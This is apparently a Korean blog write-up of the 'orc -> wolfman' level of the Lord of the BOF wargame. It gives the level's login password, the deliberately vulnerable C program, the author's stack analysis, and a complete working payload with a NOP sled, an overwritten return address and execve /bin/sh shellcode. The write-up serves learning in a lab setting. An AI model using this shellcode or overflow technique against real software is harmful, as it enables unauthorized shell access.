SH1R0_HACKER
5. orc -> wolfman 본문
login : orc
password : cantata
[wolfman.c]
/*
The Lord of the BOF : The Fellowship of the BOF
- wolfman
- egghunter + buffer hunter
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
환경변수, 버퍼도 모두 쓸 수 없다.
그런데 스택구조를 보면 위와 같다.
호출되는 함수에 인자가 있으면 리턴 어드레스 이전에 인자가 스택에 저장된다.
따라서 우리는 Buffer와 SFP (Saved Frame Pointer)를 덮어버리고 RET값을 Argv 인자로 넘겨주는 부분으로 정한다.
인자를 buffer에 넣는부분에 브레이크 포인트를 걸고
A * 44개 + B * 3개 + \xbf + "DDDD" + "E"*21
잘 들어간다.
RET에 무슨값이 들어가는지 브레이크 포인트 걸고 확인해보자.
RET(0xbffffaec)에 0xbf424242라는 값이 들어간다.
우리가 B*3개 + \xbf를 넣은 부분이다.
buffer와 ret의 거리는 44byte
buffer 부분을 보니 buffer hunter에 의해 40byte가 모두 0으로 바뀌었다.
"DDDD" + "E" * 21은 모두 살아있다.
여기에 쉘코드를 넣고 RET를 여기로 바꾸자.
페이로드를 작성하면 다음과 같다.
./wolfman `python -c 'print "\x90"*44 + "\xf4\xfa\xff\xbf" + "\x90"*4 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
'System > The Lord of BOF' 카테고리의 다른 글
7. darkelf -> orgc (0) | 2020.10.24 |
---|---|
6. wolfman -> darkelf (0) | 2020.10.24 |
4. goblin -> orc (0) | 2020.10.22 |
3. cobolt -> goblin (0) | 2020.10.21 |
2. gremlin -> cobolt (0) | 2020.10.19 |